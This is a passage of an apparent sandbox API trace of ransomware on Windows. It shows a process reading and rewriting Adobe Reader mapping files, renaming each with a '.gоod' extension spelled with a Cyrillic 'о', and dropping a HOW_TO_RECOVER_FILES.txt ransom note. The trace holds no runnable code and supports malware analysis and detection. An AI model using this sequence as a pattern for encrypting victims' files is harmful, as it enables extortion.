lpOldMode=0x1fceb860) returned 1 [0108.104] GetFileType (hFile=0x6e8) returned 0x1 [0108.104] ReadFile (in: hFile=0x6e8, lpBuffer=0x351f4e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x351f4e0*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0108.131] CloseHandle (hObject=0x6e8) returned 1 [0108.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", lpFilePart=0x0) returned 0x63 [0108.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.132] GetFileType (hFile=0x6e8) returned 0x1 [0108.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.132] GetFileType (hFile=0x6e8) returned 0x1 [0108.132] WriteFile (in: hFile=0x6e8, lpBuffer=0x351e208*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x351e208*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0108.132] CloseHandle (hObject=0x6e8) returned 1 [0108.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT", lpFilePart=0x0) returned 0x63 [0108.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT.gоod", lpFilePart=0x0) returned 0x68 [0108.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0108.132] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3ca9e2c6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d66)) returned 1 [0108.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0108.132] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt.gоod")) returned 1 [0108.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", lpFilePart=0x0) returned 0x64 [0108.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0108.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), fInfoLevelId=0x0, lpFileInformation=0x359b9b8 | out: lpFileInformation=0x359b9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb59829, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x31fc)) returned 1 [0108.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0108.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", lpFilePart=0x0) returned 0x64 [0108.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.133] GetFileType (hFile=0x6e8) returned 0x1 [0108.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.134] GetFileType (hFile=0x6e8) returned 0x1 [0108.134] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0108.134] ReadFile (in: hFile=0x6e8, lpBuffer=0x359be40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x359be40*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0108.555] CloseHandle (hObject=0x6e8) returned 1 [0108.555] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", lpFilePart=0x0) returned 0x64 [0108.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.555] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.555] GetFileType (hFile=0x6e8) returned 0x1 [0108.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.555] GetFileType (hFile=0x6e8) returned 0x1 [0108.555] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x31fc [0108.556] WriteFile (in: hFile=0x6e8, lpBuffer=0x3539e80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x3539e80*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0108.556] CloseHandle (hObject=0x6e8) returned 1 [0108.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", lpFilePart=0x0) returned 0x64 [0108.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.557] GetFileType (hFile=0x6e8) returned 0x1 [0108.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.557] GetFileType (hFile=0x6e8) returned 0x1 [0108.557] ReadFile (in: hFile=0x6e8, lpBuffer=0x353c178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x353c178*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0108.585] CloseHandle (hObject=0x6e8) returned 1 [0108.585] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", lpFilePart=0x0) returned 0x64 [0108.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.585] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.585] GetFileType (hFile=0x6e8) returned 0x1 [0108.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.585] GetFileType (hFile=0x6e8) returned 0x1 [0108.585] WriteFile (in: hFile=0x6e8, lpBuffer=0x353ae98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x353ae98*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0108.586] CloseHandle (hObject=0x6e8) returned 1 [0108.586] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT", lpFilePart=0x0) returned 0x64 [0108.586] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT.gоod", lpFilePart=0x0) returned 0x69 [0108.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0108.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb59829, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cefe0d3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x320c)) returned 1 [0108.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0108.586] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt.gоod")) returned 1 [0108.587] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", lpFilePart=0x0) returned 0x64 [0108.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0108.587] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), fInfoLevelId=0x0, lpFileInformation=0x35b9698 | out: lpFileInformation=0x35b9698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x11fd)) returned 1 [0108.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0108.587] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", lpFilePart=0x0) returned 0x64 [0108.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.587] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.587] GetFileType (hFile=0x6e8) returned 0x1 [0108.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.587] GetFileType (hFile=0x6e8) returned 0x1 [0108.587] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0108.587] ReadFile (in: hFile=0x6e8, lpBuffer=0x35b9b20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x35b9b20*, lpNumberOfBytesRead=0x1fceba18*=0x1fd, lpOverlapped=0x0) returned 1 [0108.853] CloseHandle (hObject=0x6e8) returned 1 [0108.854] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", lpFilePart=0x0) returned 0x64 [0108.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.855] GetFileType (hFile=0x6e8) returned 0x1 [0108.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.857] GetFileType (hFile=0x6e8) returned 0x1 [0108.857] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x11fd [0108.894] WriteFile (in: hFile=0x6e8, lpBuffer=0x3356688*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x3356688*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0108.894] CloseHandle (hObject=0x6e8) returned 1 [0108.894] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", lpFilePart=0x0) returned 0x64 [0108.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.894] GetFileType (hFile=0x6e8) returned 0x1 [0108.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.894] GetFileType (hFile=0x6e8) returned 0x1 [0108.894] ReadFile (in: hFile=0x6e8, lpBuffer=0x3358980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3358980*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0108.922] CloseHandle (hObject=0x6e8) returned 1 [0108.922] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", lpFilePart=0x0) returned 0x64 [0108.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0108.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0108.923] GetFileType (hFile=0x6e8) returned 0x1 [0108.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0108.923] GetFileType (hFile=0x6e8) returned 0x1 [0108.923] WriteFile (in: hFile=0x6e8, lpBuffer=0x33576a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x33576a0*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0108.923] CloseHandle (hObject=0x6e8) returned 1 [0108.923] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT", lpFilePart=0x0) returned 0x64 [0108.923] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT.gоod", lpFilePart=0x0) returned 0x69 [0108.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0108.923] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3d21eff5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120d)) returned 1 [0108.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0108.923] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt.gоod")) returned 1 [0108.924] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fceb690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0108.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebbb0) returned 1 [0108.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e8 [0109.226] GetFileType (hFile=0x6e8) returned 0x1 [0109.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb20) returned 1 [0109.226] GetFileType (hFile=0x6e8) returned 0x1 [0109.976] WriteFile (in: hFile=0x6e8, lpBuffer=0x34b31f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcebc78, lpOverlapped=0x0 | out: lpBuffer=0x34b31f0*, lpNumberOfBytesWritten=0x1fcebc78*=0x5d0, lpOverlapped=0x0) returned 1 [0109.977] CloseHandle (hObject=0x6e8) returned 1 [0109.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebc40) returned 1 [0109.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win", nBufferLength=0x105, lpBuffer=0x1fceb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win", lpFilePart=0x0) returned 0x58 [0109.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x1fceb960 | out: lpFindFileData=0x1fceb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 